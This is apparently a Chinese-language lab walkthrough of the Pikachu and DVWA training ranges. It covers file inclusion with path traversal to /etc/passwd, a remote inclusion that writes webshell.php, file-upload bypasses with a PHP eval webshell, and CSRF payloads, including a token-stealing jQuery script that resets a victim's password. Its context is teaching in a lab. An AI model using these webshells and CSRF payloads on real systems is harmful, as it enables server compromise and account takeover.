“你既知人生如戏,更应该尽力演出,搭起的舞台过了一幕又沉入暗中。此刻你在台下仰望,且把你的艳美哀伤毫不吝惜交给我,如此曲终人散后,你仍在我身心存活”生命太短,所爱的人却相忘于江湖,走散的人都没再遇……
文件包含
漏洞原理
文件包含在PHP中主要由4个函数构成:include,include_once,require,requier_once,当PHP中使用上述函数去包含任意一个文件时,该文件的内容均会被当成PHP代码来执行,由此可以有效利用该漏洞进行恶意代码注入。
源代码
<?php
$filename = $_GET['filename'];
include $filename; // 或include_once, require, require_once
echo "欢迎来到PHP的世界.";
?>
利用条件
php.ini 中 allow_url_fopen=On (默认开启)
用户参数可控且后台代码没有对包含的文件进行过滤
如要使用远程文件包含还需要开启allow_url_include=Off (默认关闭)
pikachu本地文件包含漏洞利用
进入靶场,任意选择一名球星提交查询,这里我们选择科比,页面跳转后查看url
可以看到存在可利用参数filename,这里我们尝试访问私密文件/etc/passwd
它提示我们没有这个文件或目录,这是因为我们并不清楚服务器文件具体位置,使用绝对路径可行性低,这里我们采用目录穿越成功取到私密文件。
pikachu远程文件包含漏洞利用
跟上面步骤一样,选择科比,拿到url信息
我们在本地写入shell.txt执行程序,服务器访问我们本地服务器代码,生成webshell木马程序
<?php
$fp=fopen('webshell.php','w');
fwrite($fp,'<?php phpinfo(); ?>');
fclose($fp);
?>
没有出现报错,说明执行成功
使用webshell.php
文件上传
漏洞原理
未对上传文件进行有效校验,导致攻击者将木马病毒上传至服务器加以利用。
pikachu靶场漏洞利用
client check
这里我们尝试上传后缀为.php的一句话木马,发现他对后缀进行了过滤,使用burp进行拦截时也未拦截到数据包,证明数据包在发送给后台之前就进行了校验,大概率是使用js进行前端校验,使用firefox关闭js处理,上传成功。
根据提示访问上传文件
MIME type
有了先前的经验,猜测不会是Js前端校验,直接使用burp抓包,将1.php文件改为1.png绕过检测,在拦截数据包后对其进行修改,改为1.php
根据提示访问
getimagesize
getimagesize() 函数将测定任何 GIF,JPG,PNG,SWF,SWC,PSD,TIFF,BMP,IFF,JP2,JPX,JB2,JPC,XBM 或 WBMP 图像文件的大小并返回图像的尺寸以及文件类型及图片高度与宽度。有点抽象,不清楚具体检测原理。
这里我们尝试改包查看报错信息
疑似删除了.php后缀,尝试双写,php3,.hatccess,大小写绕过均不行,考虑直接在真实图片中插入图片码参考第三关
上传成功后根据提示采用文件包含漏洞访问,访问成功表示图片生效,在无文件包含漏洞时可以写入,再利用菜刀连接。
<?php eval($_POST['code']);?>
CSRF闯关
CSRF(get)
初始界面让我们输入账号密码,直接查看提示得知拥有这么几个账户
这里我们模拟现实场景,需要准备两台服务器
1.192.168.79.152(服务器兼受害者)lucy
2.192.168.114.164(攻击者)kobe
现在我们使用kobe账户进行登录
修改个人信息并使用burp拦截数据包,目的是拿到修改请求的url地址
这里我们可以看到请求数据和url地址,将url地址取出编写js代码,让受害者在点击时执行我们写好的程序,这里我们将访问者lucy的数据全部改为了我们自己kobe的数据
<script>
new Image().src="http://192.168.79.152/pikachu-master/vul/csrf/csrfget/csrf_get_edit.php?sex=boy&phonenum=15988767674&add=nba+lakes&email=kobe%40pikachu.com&submit=submit"; //服务器修改密码地址
alert("未知错误,请联系管理员")
location.href="http://192.168.79.152/pikachu-master/vul/xss/xss_stored.php"; //跳转回服务器
</script>
在xss存储性漏洞中埋入恶意代码,当别人点击时访问本地服务器的脚本程序修改数据,这里注意href别加双引号,不然会后删除键重合导致错误。埋好数据后等待被攻击者上钩。
<a href=http://192.168.114.164/shell.php>同城交友</a>
现在我们切换账户至lucy
当lucy点击"同城交友"出现就已经无力回天了
这里我们可以看到lucy的信息已被修改
CSRF(post)
同理准备两个用户和两台服务器,这次我们的受害者是
同理先取得post数据
再让brup生成一个CSRF代码
同样埋入数据,grady没被同城交友吸引,被小游戏吸引了,点击小游戏
点击开始游戏
数据被修改
CSRF Token
与GET基本相同,只是在传数据的时候加入了token进行验证,我们只需要获取一下用户的token信息即可,我这里采用jquery的方法来做,代码如下
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<meta http-equiv="X-UA-Compatible" content="IE=edge">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<title>Document</title>
</head>
<script src="../sign/jquery-3.4.1.min.js"></script>
<script>
setTimeout(function(){
$(document).ready(function(){
var tokenurl="http://192.168.79.152/DVWA-master/vulnerabilities/csrf/";
$.get(tokenurl,function(data){
alert(data);
var regex=/value=\'(.*?)\'/ ////user_token\' value=\'(.*?)\'\/\>/;
var match=data.match(regex);
alert(match)
var token=match[1];
var changeurl="http://192.168.79.152/DVWA-master/vulnerabilities/csrf/?password_new=123456&password_conf=123456&Change=Change&user_token="+token+"#";
// new Image().src="http://192.168.79.152/DVWA-master/vulnerabilities/csrf/?password_new=123456&password_conf=123456&Change=Change&user_token="+token+"#";
// alert("未知错误,请联系管理员");
$.get(changeurl,function(data){
alert(token);
location.href="http://192.168.79.152/DVWA-master/vulnerabilities/xss_s/";
})
})
})
})
</script>
<body>
</body>
</html>